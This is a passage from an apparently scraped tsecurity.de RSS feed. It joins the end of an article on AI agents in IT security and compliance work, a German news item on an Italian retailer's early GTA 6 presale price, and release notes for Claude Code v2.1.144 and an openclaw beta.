<h2 class="wp-block-heading">Security reviews at scale</h2>



<p>Security and compliance is one of the areas where I’ve seen AI agents create the most immediate time savings. One bank deployed a workflow for information security document review that runs three different LLMs over uploaded security documentation simultaneously. Each model checks the accuracy of the other models, with a 133-second average runtime. This is a good example of how determinism and autonomy can be built into an agent architecture: there are three defined steps for each LLM; but within each step, the LLM will use its own reasoning skills for analysis and interpretation of unstructured data.</p>



<p>Another use case I’ve seen gaining traction is ISO audit preparation. One team built a workflow that first classifies which ISO standard applies to a given submission, including 27001 for InfoSec and 20000 for IT service management. This creates a pre-audit checklist that used to take a whole morning and now takes 30 seconds.</p>



<h2 class="wp-block-heading">Automated alerts</h2>



<p>Some of the most technically ambitious deployments I’ve come across are in monitoring and alerting. One financial services IT team built a data governance alerting system that queries multiple cloud databases, uses multiple LLMs to generate summaries of failures, creates Excel attachments with failure data and emails the whole package to the appropriate data steward automatically.</p>



<p>The system uses text-to-SQL generation to build database queries dynamically, which means it adapts to new failure types without code changes — impressive!</p>



<h2 class="wp-block-heading">What the best deployments have in common</h2>



<p>After seeing thousands of workflow runs across IT teams, a few patterns consistently separate the successful deployments from the ones that stall out.</p>



<ul class="wp-block-list">
<li><strong>Multi-LLM architectures improve reliability. </strong>Many of the high-stakes workflows I’ve reviewed in this article use three or more different LLMs to break down a complex task into bite-sized steps and then compare or combine outputs to produce a single result. For security reviews and compliance analysis especially, this reduces the risk of a single LLM’s blind spots causing problems.</li>



<li><strong>Choosing the right use case is key.</strong> Looking across these deployments, none of the underlying tasks are novel: ticket triage, document review, audit prep, alerting and answering internal questions are all things IT teams have been doing manually for years. The fastest ROI comes from starting small by automating high-volume, repetitive tasks, then expanding to more complex tasks that may involve legacy portals, forms and human-in-the-loop.</li>



<li><strong>Integrations help determine ROI. </strong>Workflows that read from and write back to systems of record, whether that’s Jira, ServiceNow or Zendesk, deliver compounding value over time. Read-only workflows are useful; read-write workflows are genuinely transformative. In the future, I believe IT teams will have hundreds of agents running workflows that actually act in the background, while they focus on work that requires human judgment and discernment.</li>
</ul>



<p>The IT teams getting the most out of AI agents right now are the ones who did the unglamorous work of mapping their processes, organizing the right knowledge bases and building integrations that fit how their teams actually operate. That’s what I keep seeing, and it’s what I’d tell any CIO looking to get started.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GTA 6 anscheinend überraschend günstig]]></title>
<description><![CDATA[Das kam unerwartet: Der italienische Händler Showgame hatte gestern (18.5.2026) überraschend den Vorverkauf für GTA 6 gestartet. Sie finden das Angebot hier. Der Preis ist heiß: 69,90 Euro. Zuzüglich Versandkosten. Allerdings ist das Angebot derzeit ausverkauft, Sie können aber Ihre Mailadresse h...]]></description>
<link>https://tsecurity.de/de/3528075/it-nachrichten/gta-6-anscheinend-ueberraschend-guenstig/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3528075/it-nachrichten/gta-6-anscheinend-ueberraschend-guenstig/</guid>
<pubDate>Tue, 19 May 2026 09:03:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">

</div></figure>



<p>Das kam unerwartet: Der italienische Händler Showgame hatte gestern (18.5.2026) überraschend den Vorverkauf für GTA 6 gestartet. Sie finden das Angebot <a href="https://www.showgame.it/products/grand-theft-auto-vi-gta-6-ps5">hier</a>. Der Preis ist heiß: 69,90 Euro. Zuzüglich<a href="https://www.showgame.it/policies/shipping-policy"> Versandkosten.</a> Allerdings ist das Angebot derzeit ausverkauft, Sie können aber Ihre Mailadresse hinterlassen, um sich informieren zu lassen, wenn das Spiel wieder verfügbar ist.</p>



<p>Allgemein wurde erwartet, dass GTA VI – das in dem fiktiven Vice City in den Vereinigten Staaten spielt – deutlich teurer wird. Das gestrige Angebot galt für Grand Theft Auto VI für die Playstation 5 sowie für die Xbox Series X und S. Der offizielle Veröffentlichungstermin für das <a href="https://www.pcwelt.de/article/3140313/gta-6-teuerstes-spiel-3-milliarden-us-dollar.html" target="_blank" rel="noreferrer noopener">vermutlich teuerste Spiel aller Zeiten</a> (was die Produktionskosten angeht) ist der 19. November 2026. </p>



<p>Mit dem gestrigen Vorbestellstart von Showgame schienen sich zunächst <a href="https://www.pcwelt.de/article/3140546/gta-6-schon-ab-naechster-woche-vorbestellen-neuer-leak-aufgetaucht.html" target="_blank" rel="noreferrer noopener">entsprechende Gerüchte</a> aus der letzten Woche zu bestätigen. Doch am Abend war dann klar, dass Rockstar Games den Vorverkauf doch noch nicht gestartet hat, sondern der italienische Online-Händler einfach nur vorgeprescht ist.</p>



<p>Showgame gibt eine Preisgarantie “Zahlen Sie heute den Preis, auch wenn er steigt”. Bis heute hatten Marktbeobachter einen deutlich höheren Preis als 69,90 Euro erwartet,<a href="https://www.pcwelt.de/article/2057900/gta-6-horror-preis-durchgesickert-so-viel-sollen-fans-fur-das-spiel-zahlen-mussen.html" target="_blank" rel="noreferrer noopener"> von bis über 100 Euro war die Rede. </a>Sobald das Spiel erhältlich ist, also ab dem 19.11.2026, erhalten sie es zugeschickt. Die aktuelle Preisangabe für GTA VI beruht derzeit also nur auf der Angabe des italienischen Händlers Showgame. Es ist nicht auszuschließen, dass Rockstar Games doch noch einen höheren Preis festlegt. Allerdings garantiert Showgame ausdrücklich den Preis von 69,90 Euro.</p>



<p>In den Gerüchten von letzter Woche war von sechs unterschiedlichen Editionen die Rede: drei klassischen digitalen oder physischen Editionen in verschiedenen Ausstattungsstufen, einer besonders umfangreichen Sonderedition sowie zwei Konsolen-Bundles mit digitalem Download-Code. Bei Showgame gab es aber nur eine.</p>



<h2 class="wp-block-heading">Laut Showgame ist das die Geschichte von GTA VI:</h2>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p><strong>Jason und Lucia</strong> wussten schon immer, dass das Leben ihnen nicht die besten Karten gab. Wenn ein einfacher Job in die falsche Richtung geht, befinden sie sich im dunkelsten Teil von Amerikas sonnigstem Ort.</p>



<p>Verwickelt in eine kriminelle Verschwörung, die sich über den Bundesstaat Leonidas erstreckt, werden sie sich wie nie zuvor aufeinander verlassen müssen. Größer, lebendiger, detaillierter als jeder GTA jemals geschaffen.</p>
</blockquote>



<p>Showgame betont: Zum ersten Mal in der Saga gibt es <strong>zwei</strong> spielbare Charaktere: </p>



<p><strong>Jason Duval: </strong>“Ehemaliger Militärangehöriger mit einer Vergangenheit, die ihn verfolgt. Er sucht nach einem Ausweg, aber das Leben von Vice City lässt niemanden entkommen”.</p>



<p><strong>Lucia Gamino: </strong>“Gerade aus dem Gefängnis entlassen, hat sie nichts zu verlieren und nichts zu befürchten. Als sie Jason findet, entdeckt sie, dass sie zusammen nicht aufzuhalten sind”.</p>



<p>Auf Amazon ist das Spiel noch <strong>nicht</strong> erhältlich. Dort findet man kurioserweise aber bereits jetzt Anleitungen zum Durchspielen von GTA VI. Diese basieren vermutlich/offensichtlich auf den Erfahrungen aus den vorangegangenen Titeln sowie aus den Leaks:</p>



<ul class="wp-block-list">
<li><a href="https://amazon.de/dp/B0GZ9QBQD3?tag=pcwelt.de-21&amp;ascsubtag=rss">Grand Theft Auto VI Unofficial Game Guide (2026 Edition): Complete Walkthrough, Heists, Money, Vehicles, and Secrets</a></li>



<li><a href="https://amazon.de/dp/B0GZ721SPR?tag=pcwelt.de-21&amp;ascsubtag=rss">Grand Theft Auto VI Ultimate Strategy Guide (2026 Edition): Best Tips, Heists, Money, Vehicles, Weapons, and Full Completion</a></li>



<li><a href="https://amazon.de/dp/B0GZJ51XHT?tag=pcwelt.de-21&amp;ascsubtag=rss">Grand Theft Auto VI Complete Guide &amp; Walkthrough (Updated 2026): Beginner Tips, Advanced Strategies, Heists, Exploration, and Full Completion</a></li>
</ul>



<p>Ebenfalls auf Amazon erhältlich: <a href="https://www.amazon.de/dp/B0H23FT78N/?tag=pcwelt.de-21&amp;ascsubtag=rss">The Unofficial GTA 6 Conspiracy Book – Leaks, Hidden Messages, and the Future of Vice City</a>.</p>



<p></p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.144]]></title>
<description><![CDATA[What's changed

Added /resume support for background sessions — sessions started via claude --bg or agent view now appear alongside interactive ones, marked with bg
Added elapsed duration to background subagent completion notifications (e.g. "Agent completed · 3h 2m 5s")
The /plugin browse and di...]]></description>
<link>https://tsecurity.de/de/3527578/downloads/v21144/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3527578/downloads/v21144/</guid>
<pubDate>Tue, 19 May 2026 03:01:27 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>/resume</code> support for background sessions — sessions started via <code>claude --bg</code> or agent view now appear alongside interactive ones, marked with <code>bg</code></li>
<li>Added elapsed duration to background subagent completion notifications (e.g. "Agent completed · 3h 2m 5s")</li>
<li>The <code>/plugin</code> browse and discover panes now show when a plugin was last updated</li>
<li><code>/model</code> now changes the model for the current session only; press <code>d</code> in the model picker to set a default for new sessions</li>
<li>Renamed "extra usage" to "usage credits" across CLI copy; <code>/extra-usage</code> is now <code>/usage-credits</code> (old name still works)</li>
<li>Fixed startup hanging up to 75s when <code>api.anthropic.com</code> is unreachable (captive portal, firewall, VPN issues) — side-channel API calls now time out after 15s</li>
<li>Fixed garbled terminal output after a missed window-resize event (e.g. dragging a VS Code split-pane divider) — now self-heals on the next frame instead of requiring Ctrl+L</li>
<li>Fixed progressive terminal display corruption (stale/garbled glyphs) that could appear in very long sessions and only cleared on terminal resize or restart</li>
<li>Reduced terminal rendering glitches in VS Code by reducing spinner animation color count</li>
<li>Fixed macOS background sessions crashing with "exit 1 before init" when the project lives under a Full Disk Access-protected folder (regression in 2.1.143)</li>
<li>Fixed an unrecoverable conversation when reading a file whose image extension doesn't match its contents (e.g. HTML saved as .png) — now falls back to text</li>
<li>Fewer spurious tool errors during search: <code>head</code>/<code>tail</code> file views now satisfy the read-before-edit check, and a "no matches" result (exit code 1) from <code>egrep</code>, <code>fgrep</code>, <code>git grep</code>, or <code>git diff</code> is no longer reported as a command failure</li>
<li>Fixed <code>/branch</code> failing with "No conversation to branch" after entering a worktree or in some background sessions</li>
<li>Fixed pressing Escape in the AskUserQuestion notes field aborting the turn instead of returning to answer selection</li>
<li>Fixed model selection not applying when changed via the IDE model picker or <code>applyFlagSettings</code> after startup</li>
<li>Resumed sessions now keep the model they were using instead of picking up another session's <code>/model</code> choice</li>
<li>Fixed Bedrock and Vertex users unable to select "Opus (1M context)" from the <code>/model</code> picker (regression in v2.1.129)</li>
<li>Fixed remote-session login failing with "Can't access this organization" for users with <code>forceLoginMethod</code> and <code>forceLoginOrgUUID</code> set</li>
<li>Fixed MCP servers with paginated <code>tools/list</code> responses only returning the first page, silently dropping tools</li>
<li>Fixed MCP images with unsupported MIME types (e.g. SVG) breaking the conversation — now saved to disk and referenced in the tool result</li>
<li>Fixed file descriptor exhaustion when a build runs inside a skill directory — non-<code>.md</code> files no longer trigger skill reloads</li>
<li>Fixed session title being generated from plugin monitor output instead of the user's first prompt</li>
<li>Fixed Skill tool failing with permission error in headless mode (regression in v2.1.141)</li>
<li>Fixed plugins enabled in your own settings showing "not cached" errors after first load on a fresh machine; plugins enabled only by a project's <code>.claude/settings.json</code> now show an actionable <code>claude plugin install</code> hint</li>
<li>Fixed <code>claude mcp list</code> silently reporting no servers when <code>.mcp.json</code> can't be parsed (e.g. using VS Code's <code>"servers"</code> key instead of <code>"mcpServers"</code>) — now shows configuration errors</li>
<li>Fixed background side-queries on custom <code>ANTHROPIC_BASE_URL</code> setups and Bedrock Mantle not using Haiku — now falls back correctly when a first-party API key is configured or no Haiku model is set</li>
<li>Fixed scrolling in attached background sessions on Windows — PgUp/PgDn, mouse wheel, and Ctrl+O transcript navigation now work</li>
<li>Fixed a crash when closing the terminal while attached to a background session</li>
<li>Fixed <code>! &lt;cmd&gt;</code> exec sessions not responding to Ctrl+C while attached — now interrupts the running command</li>
<li>Fixed agent view shell-command rows lingering under Working after completion, and pressing Enter on a completed row re-running the command after its output expired</li>
<li>Fixed on Windows, pressing ← in <code>claude agents</code> leaving the list unresponsive to keyboard input</li>
<li>Fixed ghost characters at the left edge when switching panes in Agent View on Windows Terminal with CJK content</li>
<li><code>/bg</code> and <code>←</code>-detach now preserve directories added via <code>/add-dir</code></li>
<li>Fixed Edit/Write refusing with "background session hasn't isolated its changes yet" right after detaching a session that was already editing in place</li>
<li>Fixed <code>claude respawn &lt;id&gt;</code> on a stopped background session showing "stopped" instead of running</li>
<li>Fixed <code>/resume</code> picker not showing sessions forked from a background session</li>
<li>Fixed opening a session from <code>claude agents</code> or running <code>claude logs &lt;id&gt;</code> hanging when the background service is unresponsive — now times out after 10s with a recovery hint</li>
<li>Fixed background Bash tasks spawned by subagents staying "Running" in SDK task panels after the process exits</li>
<li>Fixed completed or stopped background sessions briefly failing to wake being permanently marked as a startup crash</li>
<li>Fixed markdown links in <code>claude agents</code> attached sessions rendering as plain text instead of clickable hyperlinks</li>
<li>Fixed custom <code>spinnerVerbs</code> applying to the post-turn duration message — past-tense built-ins like "Worked for 5s" are restored there</li>
<li><code>claude agents</code> / <code>--bg</code> rejection messages now name the specific gate (non-TTY, env var, or setting) instead of a generic message</li>
<li><code>claude --bg --name &lt;label&gt;</code> now echoes the name in the post-spawn confirmation</li>
<li><code>claude agents</code>: renaming a background session with Ctrl+R now updates the attached session's banner immediately</li>
<li>Background session worktree isolation guard now applies for non-git VCS users with <code>WorktreeCreate</code> hooks configured</li>
<li>Plugin marketplace add/update now respects <code>CLAUDE_CODE_PLUGIN_PREFER_HTTPS</code></li>
<li><code>/plugin</code> now returns to the Installed list after enabling, disabling, or uninstalling a plugin</li>
<li><code>/doctor</code> now shows an exec-form example when a command hook is missing the <code>command</code> field</li>
<li>Skill-listing truncation is no longer shown as a startup notification — run <code>/doctor</code> for the full breakdown</li>
<li>Improved recovery from rare pre-response stream stalls — now retries streaming once instead of falling back to a slower non-streaming request</li>
<li>Improved SDK/headless MCP startup: pre-wait now overlaps startup instead of blocking before the first turn (up to 2s faster with slow MCP servers)</li>
<li>The post-survey follow-up hint now appears after every non-dismiss survey response with context-aware copy, making it easier to share more detail via /feedback.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.19-beta.1]]></title>
<description><![CDATA[2026.5.19
Changes

Agents: clarify that fixes should default to clean bounded refactors, lean internals, and explicit plugin SDK/API deprecation paths.
Dependencies: update @openclaw/proxyline to 0.3.3.
Dependencies: update Pi packages to 0.75.1 and raise the minimum supported Node.js 22 line to ...]]></description>
<link>https://tsecurity.de/de/3527452/downloads/openclaw-2026519-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3527452/downloads/openclaw-2026519-beta1/</guid>
<pubDate>Tue, 19 May 2026 01:01:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.19</h2>
<h3>Changes</h3>
<ul>
<li>Agents: clarify that fixes should default to clean bounded refactors, lean internals, and explicit plugin SDK/API deprecation paths.</li>
<li>Dependencies: update <code>@openclaw/proxyline</code> to 0.3.3.</li>
<li>Dependencies: update Pi packages to 0.75.1 and raise the minimum supported Node.js 22 line to 22.19.</li>
<li>Docker/Podman: add <code>OPENCLAW_IMAGE_APT_PACKAGES</code> as the runtime-neutral image build arg for extra apt packages while keeping <code>OPENCLAW_DOCKER_APT_PACKAGES</code> as a legacy fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4217026381" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62431" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62431/hovercard" href="https://github.com/openclaw/openclaw/pull/62431">#62431</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/urtabajev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/urtabajev">@urtabajev</a>.</li>
<li>Gateway/ACPX: attribute startup probe, config, runtime, and resource-count costs in restart traces without changing readiness behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465177610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83300" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83300/hovercard" href="https://github.com/openclaw/openclaw/pull/83300">#83300</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Gateway: overlap startup logging and plugin-service startup with channel sidecars to reduce restart ready latency while preserving <code>/readyz</code> sidecar gating. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465177851" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83301" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83301/hovercard" href="https://github.com/openclaw/openclaw/pull/83301">#83301</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Plugins/admin-http-rpc: allow trusted admin HTTP RPC clients to start and wait for web QR login flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464874472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83259" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83259/hovercard" href="https://github.com/openclaw/openclaw/pull/83259">#83259</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liorb-mountapps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liorb-mountapps">@liorb-mountapps</a>.</li>
<li>Mac app: redesign Settings pages with consistent card layouts, cached navigation, cleaner permissions/voice/skills/cron/exec/debug panes, and steadier spacing around the native sidebar.</li>
<li>Skills: rename the repo-local Codex closeout review skill and helper to <code>autoreview</code> while preserving the Codex-first fallback behavior.</li>
<li>Skills: add a meme-maker skill for curated template search, local SVG/PNG rendering, Imgflip hosted rendering, and Know Your Meme provenance links.</li>
<li>Skills CLI: allow <code>openclaw skills install</code> and <code>openclaw skills update</code> to target shared managed skills with <code>--global</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351987851" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74466" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74466/hovercard" href="https://github.com/openclaw/openclaw/pull/74466">#74466</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvae">@Marvae</a>.</li>
<li>Browser: surface pending and recently handled modal dialogs in snapshots, return <code>blockedByDialog</code> when an action opens a modal, and allow <code>browser dialog --dialog-id</code> to answer pending dialogs.</li>
<li>Browser CLI: add <code>openclaw browser evaluate --timeout-ms</code> so long-running page functions can extend both the evaluate action and request timeout budgets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466445698" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83447" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83447/hovercard" href="https://github.com/openclaw/openclaw/pull/83447">#83447</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eefreenyc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eefreenyc">@eefreenyc</a>.</li>
<li>Codex app-server: scope OpenClaw prompt guidance by runtime surface so native Codex keeps Codex-owned base/personality instructions while OpenClaw contributes only runtime context, delivery guidance, and explicitly scoped command hints. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466538467" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83454" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83454/hovercard" href="https://github.com/openclaw/openclaw/pull/83454">#83454</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Agents/tools: shorten built-in tool descriptions and schema hints across media, messaging, sessions, cron, Gateway, web, image/PDF, TTS, nodes, and plan tools while preserving routing guardrails.</li>
<li>Skills: add node inspector debugging, fused diagram generation, and throwaway spike workflow skills.</li>
<li>CLI/plugins: add <code>defineToolPlugin</code> plus <code>openclaw plugins build</code>, <code>validate</code>, and <code>init</code> for typed simple tool plugins with generated manifest metadata, optional tool declarations, and context factories.</li>
<li>Agents/skills: tighten bundled skill prompts and metadata, quote skill descriptions, refresh current CLI/API guidance, and update embedded sherpa-onnx runtime downloads.</li>
<li>Skills: update the Obsidian skill to target the official <code>obsidian</code> CLI and require its registered binary instead of the third-party <code>obsidian-cli</code>.</li>
<li>Skills: add a Python debugging skill for pdb, breakpoint(), post-mortem inspection, and debugpy remote attach.</li>
<li>Plugins/messages: add presentation capability limits for channel renderers, adapt rich message controls before native rendering, and mark legacy <code>interactive</code>/Slack directive producer APIs as deprecated.</li>
<li>Plugins/subagents: store channel delivery routes as canonical session metadata and deprecate ad hoc subagent hook delivery-origin fields in favor of core route projection.</li>
<li>Proxy: support HTTPS managed forward-proxy endpoints and scoped <code>proxy.tls.caFile</code> CA trust for proxy endpoint TLS. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403048153" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79171" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79171/hovercard" href="https://github.com/openclaw/openclaw/pull/79171">#79171</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>QA-Lab: add first-hour 20-turn and optional 100-turn runtime parity scenarios, with tier metadata for standard and soak QA gates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416188988" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80338/hovercard" href="https://github.com/openclaw/openclaw/issues/80338">#80338</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416188383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80337" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80337/hovercard" href="https://github.com/openclaw/openclaw/issues/80337">#80337</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add <code>openclaw qa suite --runtime-parity-tier</code> and wire the standard Codex-vs-Pi tier into release checks separately from optional/live-only/soak lanes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416188383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80337" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80337/hovercard" href="https://github.com/openclaw/openclaw/issues/80337">#80337</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a live-only Codex Pi-shaped Read vocabulary canary so runtime parity catches native workspace-read prompt compatibility drift. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add live-only harness self-health scenarios for plugin hook crashes, manifest contract errors, and WebChat direct-reply self-message routing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add runtime tool fixture scenarios and coverage reporting for Codex-native workspace tools, OpenClaw dynamic tools, and optional plugin-backed tools. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415099454" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80173" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80173/hovercard" href="https://github.com/openclaw/openclaw/issues/80173">#80173</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: expose runtime tool fixture coverage through <code>openclaw qa coverage --tools</code>, with optional suite-summary evaluation for parity gate artifacts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: schedule a live-frontier Codex-vs-Pi runtime token-efficiency artifact lane in the all-lanes QA workflow. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415101470" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80175" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80175/hovercard" href="https://github.com/openclaw/openclaw/issues/80175">#80175</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: hard-gate required OpenClaw dynamic runtime-tool drift in the standard Codex-vs-Pi tier with a blocking release-check verifier and publish the tool coverage report artifact. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416189394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80339/hovercard" href="https://github.com/openclaw/openclaw/issues/80339">#80339</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416028202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80319/hovercard" href="https://github.com/openclaw/openclaw/issues/80319">#80319</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add the personal-agent approval-denial scenario so the benchmark pack verifies denied local reads stop cleanly without tool progress or fixture leaks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463922408" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83150" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83150/hovercard" href="https://github.com/openclaw/openclaw/pull/83150">#83150</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>QA-Lab: extend the personal-agent benchmark pack with a local task followthrough scenario for proof-backed pending, blocked, and done status reporting. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>QA-Lab: add a report-only dreaming shadow-trial scenario so candidate memory promotion can be evaluated without mutating <code>MEMORY.md</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
